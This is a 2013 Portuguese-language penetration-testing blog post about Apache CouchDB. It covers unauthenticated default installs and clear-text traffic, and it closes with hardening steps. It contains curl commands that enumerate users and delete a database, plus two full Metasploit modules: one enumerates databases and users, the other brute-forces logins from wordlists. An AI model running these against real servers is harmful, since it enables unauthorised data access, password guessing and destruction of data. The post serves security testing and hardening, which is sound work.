[Penetration Test] CouchDB - For Fun and Profit
Autor: Roberto dos Santos Soares (espreto) | Publicado: 2013-04-30T04:22:00-03:00




O que é CouchDB?
&nbsp; 
CouchDB[1] é um de banco de dados orientado a 
documentos, uma implementação de NoSQL que pode ser acessado através de 
sua API JavaScript Object Notation (JSON)[2] RESTful. O projeto, 
atualmente é desenvolvido na plataforma Erlang OTP[3] devido à sua 
ênfase em tolerância a falhas.



Uma lista de
 empresas que utilizam o CouchDB para o desenvolvimento de softwares 
pelo mundo, pode ser visualizada no site do desenvolvedor[4].


Características.

Cada documento tem sua identificação única no banco de dados, e o 
CouchDB oferece uma RESTfull HTTP API para ler e atualizar (adicionar, 
atualizar, editar, excluir) os documentos do banco de dados. 

Sua porta de utilização é a 5984 sob o protocolo TCP. O daemon 
responsável por sua execução é o "beam", que faz parte do Erlang OTP. 
Conforme figura abaixo.








Por padrão, CouchDB instala todos seus recursos (exemplo: apt-get 
install couchdb) sem exigir o cadastro de senha para se autenticar em 
funções vitais do software, fazendo com que os 
administradores/desenvolvedores assumam essa tarefa.

O CouchDB disponibiliza suas respostas em clear-text, possibilitando 
ataques do tipo Man-in-The-Middle[5], conseguindo facilmente furtar 
dados importantes que estão trafegando entre o servidor e o cliente, um 
exemplo clássico, seria capturar o usuário e senha para se autenticar 
posteriormente, já que a aplicação utiliza sistema básico de 
autenticação (Basic Authentication), visualizar os nomes das databases, 
usuários etc.

Acessando os recursos do CouchDB com o cURL. 

Com o utilitário de linha de comando cURL, podemos realizar basicamente 
as 4 funções principais para manusear documentos e views no CouchDB. 
Vejamos alguns exemplos:

1 - Para listar os databases existentes.
# curl -X GET http://192.168.0.64:5984/_all_dbs
2 - Criar um novo database.
# curl -X PUT http://192.168.0.64:5984/new_db
3 - Criando um documento de design.
# curl -X PUT http://192.168.0.64:5984/new_db/_design/app --data-binary @design.json
4 - Adicionando um documento vazio para poder visualizar o "design document" que acabamos de criar.
curl -X POST http://192.168.0.64:5984/new_db -d '{}' -H "Content-Type:application/json"
5 - Para visualizar.
curl http://192.168.0.64:5984/new_db/_design/app/_view/foo
6 - Criando um usuário chamado zezinho.
# curl -X PUT http://192.168.0.64:5984/_users/org.couchdb.user:zezinho -d '{"name":"zezinho", "password":"S3nhaS3cr3t4", "roles":[], "type":"user"}'
7 - Listando usuários.
# curl http://192.168.0.64:5984/_users/_all_docs
8 - Excluindo um database.
# curl -X DELETE http://192.168.0.64:5984/new_db


Criando um script para o Metasploit

Para facilitar o trabalho durante os testes de intrusão, desenvolvi um 
script para o metasploit, onde você conseguirá realizar todas as ações 
possibilitando a automação da análise. Seu uso é simples, basta definir o
 endereço do host remoto (RHOST), o método (GET, PUT, POST ou DELETE) e 
sua ação (TARGETURI). Em seu padrão, o módulo vem configurado para 
enumerar as databases existentes no servidor a ser testado, bastando 
apenas, definir o host remoto (RHOST), confirmar se a aplicação roda na 
porta padrão (5984) e executar o comando "run".

Script couchdb_enum.rb
require 'msf/core'

class Metasploit3 &lt; Msf::Auxiliary

&nbsp;&nbsp;&nbsp; include Msf::Exploit::Remote::HttpClient

&nbsp;&nbsp;&nbsp; def initialize(info = {})
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; super(update_info(info,
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'Name'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; 'CouchDB Enum Utility',
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'Description'&nbsp;&nbsp;&nbsp; =&gt; %q{
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default)
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; },
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'Author'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; [ 'espreto ' ],
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'License'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; MSF_LICENSE
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ))

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; register_options(
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; [
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Opt::RPORT(5984),
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]),
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; OptString.new('USERNAME', [false, 'The username to login as']),
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; OptString.new('PASSWORD', [false, 'The password to login with'])
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ], self.class)
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; end

&nbsp;&nbsp;&nbsp; def run
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; username = datastore['USERNAME']
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; password = datastore['PASSWORD']

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; uri = normalize_uri(datastore['TARGETURI'])
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; res = send_request_cgi({
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'uri'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; uri,
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'method'&nbsp;&nbsp; =&gt; datastore['HTTP_METHOD'],
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'authorization' =&gt; basic_auth(username, password),
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'headers'&nbsp; =&gt; {
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'Cookie'&nbsp;&nbsp; =&gt; 'Whatever?'
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; })

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; temp = JSON.parse(res.body)
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; results = JSON.pretty_generate(temp)

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if res.nil?
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_error("No response for #{target_host}")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; elsif (res.code == 200)
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_good("#{target_host}:#{rport} -&gt; #{res.code}")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_good("Response Headers:\n\n #{res.headers}")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_good("Response Body:\n\n #{results}\n")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; elsif (res.code == 403) # Forbidden
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_error("Response from server:\n\n #{results}\n")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; elsif (res.code == 404) # Not Found
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_error("Response from server:\n\n #{results}\n")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; else
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_status("#{res.code}")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_status("#{results}")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; end

&nbsp;&nbsp;&nbsp; rescue ::Exception =&gt; e
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_error("Error: #{e.to_s}")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return nil
&nbsp;&nbsp;&nbsp; end
end

Veja um exemplo de saída do script com a opção TARGETURI definida com o valor /_users/_all_docs.







Analisando o CouchDB com autenticação.

Abaixo um novo script para o metasploit, que realiza o brute-force de 
usuário e senha, baseando-se em uma wordlist. Por padrão, já é 
especificada uma wordlist presente no metasploit, bastando apenas 
especificar o endereço remoto do CouchDB (RHOST) e confirmar a porta 
padrão (5984). Mas nada lhe impede de utilizar uma wordlist 
especialmente criada por você, basta especificar o path deste arquivo.

Script couchdb_login.rb

require 'msf/core'

class Metasploit3 &lt; Msf::Auxiliary

&nbsp;&nbsp;&nbsp; include Msf::Exploit::Remote::HttpClient
&nbsp;&nbsp;&nbsp; include Msf::Auxiliary::Report
&nbsp;&nbsp;&nbsp; include Msf::Auxiliary::AuthBrute
&nbsp;&nbsp;&nbsp; include Msf::Auxiliary::Scanner

&nbsp;&nbsp;&nbsp; def initialize(info={})
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; super(update_info(info,
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'Name'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; 'CouchDB Login Utility',
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'Description'&nbsp;&nbsp;&nbsp; =&gt; %{
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; This module attempts brute force to login to a CouchDB.
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; },
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'Author'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; [
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'espreto '
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ],
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'License'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; MSF_LICENSE
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ))

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; register_options(
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; [
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Opt::RPORT(5984),
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; OptString.new('URI', [true, "URI for CouchDB. Default here is /_users/_all_docs", "/_users/_all_docs"]),
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; OptPath.new('USERPASS_FILE',&nbsp; [ false, "File containing users and passwords separated by space, one pair per line",
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; OptPath.new('USER_FILE',&nbsp; [ false, "File containing users, one per line",
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; OptPath.new('PASS_FILE',&nbsp; [ false, "File containing passwords, one per line",
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ])
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ], self.class)
&nbsp;&nbsp;&nbsp; end

&nbsp;&nbsp;&nbsp; def run_host(ip)

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; user = datastore['USERNAME'].to_s
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pass = datastore['PASSWORD'].to_s

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; vprint_status("#{rhost}:#{rport} - Trying to login with '#{user}' : '#{pass}'")


&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; res = send_request_cgi({
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'uri'&nbsp;&nbsp;&nbsp; =&gt; datastore['URI'],
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'method' =&gt; 'GET',
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'authorization' =&gt; basic_auth(user, pass)
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; })

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return if res.nil?
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return if (res.headers['Server'].nil? or res.headers['Server'] !~ /CouchDB/)
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return if (res.code == 404)

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if [200, 301, 302].include?(res.code)
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; vprint_good("#{rhost}:#{rport} - Successful login with '#{user}' : '#{pass}'")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; else
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; vprint_error("#{rhost}:#{rport} - Failed login with '#{user}' : '#{pass}'")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_status("Brute-forcing... &gt;:-} ")

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; each_user_pass do |user, pass|
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; do_login(user, pass)
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; end
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; end
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; rescue ::Rex::ConnectionError
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
&nbsp;&nbsp;&nbsp; end

&nbsp;&nbsp;&nbsp; def do_login(user, pass)
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; vprint_status("Trying username:'#{user}' with password:'#{pass}'")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; begin
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; res = send_request_cgi(
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'uri'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; datastore['URI'],
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'method'&nbsp;&nbsp;&nbsp; =&gt; 'GET',

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'ctype'&nbsp;&nbsp;&nbsp;&nbsp; =&gt; 'text/plain',
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 'authorization' =&gt; basic_auth(user, pass)
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; })


&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if res and res.code != 200
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; vprint_error("Failed login. '#{user}' : '#{pass}' with code #{res.code}")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return :skip_pass
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; else
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_good("Successful login. '#{user}' : '#{pass}'")

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; report_hash = {

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :host&nbsp;&nbsp; =&gt; datastore['RHOST'],
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :port&nbsp;&nbsp; =&gt; datastore['RPORT'],
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :sname&nbsp; =&gt; 'couchdb',
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :user&nbsp;&nbsp; =&gt; user,
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :pass&nbsp;&nbsp; =&gt; pass,
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :active =&gt; true,

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; :type =&gt; 'password'}

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; report_auth_info(report_hash)
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return :next_user
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; end

&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_error("HTTP Connection Failed, Aborting")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return :abort
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; end
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; rescue ::Exception =&gt; e
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print_error("Error: #{e.to_s}")
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return nil
&nbsp;&nbsp;&nbsp; end
end


Aumentando a segurança do CouchDB.

Para diminuir os riscos, recomendamos aplicar as seguintes medidas para sua proteção.

Utilizando o futon[6], você pode acessar a url http://IP_DO_COUCHDB:5984/_utils que acessará o gerenciador web do CouchDB.

1 - Criar um usuário administrador no servidor clicando no botão "Fix this!", localizado no canto inferior direito.

2 - Criar um usuário no-admin e atribuí-lo (por nome ou papel) para ser 
um usuário administrador do banco de dados em específico. Isso pode ser 
feito através do ícone "Segurança" no topo do gerenciador Futon, quando 
você está em um banco de dados específico. Ou então criar este non-admin
 através do HTTP API.

3 - Criar um usuário non-admin no CouchDB e atribuí-los (por nome ou 
papel) para ser apenas leitor (read) no banco de dados em algum banco de
 dados específico. Isso pode ser feito através do ícone "Segurança" no 
topo do gerenciador Futon quando você está em um banco de dados 
específico. Ou então criar este non-admin através do HTTP API.

4 - Criar um usuário non-admin no CouchDB e criar um documento de design
 de banco de dados que inclui uma função de validação, especificamente 
em uma propriedade "validate_doc_update" no documento de design. O valor
 dessa propriedade é uma função (que você escreve) para verificar um 
nome de usuário ou regra no argumento userCtx que é passado para a 
função específica, assim poderia alertar um erro na função se o usuário 
ou a regra não é quem pode escrever no banco de dados.

5 - Como medida adicional de proteção, o CouchDB disponibiliza a 
autenticação via Cookie, bastando enviar uma requisição para a API com o
 usuário e senha já presentes no mesmo. Por padrão, cada token tem sua a
 duração de 10 minutos.

Estas e outras dicas importantes podem ser visualizadas no CouchDB Security[7], disponível no próprio site do desenvolvedor.


Parte 2 do Post:

CouchDB - For Fun and Profit

Ataques SSRF? Execução remota de comandos? Tudo via CouchDB?
Essas e outras perguntas interessantes serão respondidas no próximo post. =)

By @espreto

Referências:

[1] http://couchdb.apache.org/
[2] http://www.json.org/
[3] http://www.erlang.org/
[4] http://wiki.apache.org/couchdb/CouchDB_in_the_wild
[5] http://en.wikipedia.org/wiki/Man-in-the-middle_attack
[6] http://wiki.apache.org/couchdb/Getting_started_with_Futon
[7] http://wiki.apache.org/couchdb/Security_Features_Overview
[8] https://www.conviso.com.br/


Leituras adicionais:

http://en.wikipedia.org/wiki/REST
http://en.wikipedia.org/wiki/Create,_read,_update_and_delete

Postado previamente em http://blog.conviso.com.br/2013/04/couchdb-for-fun-and-profit.html pelo mesmo autor.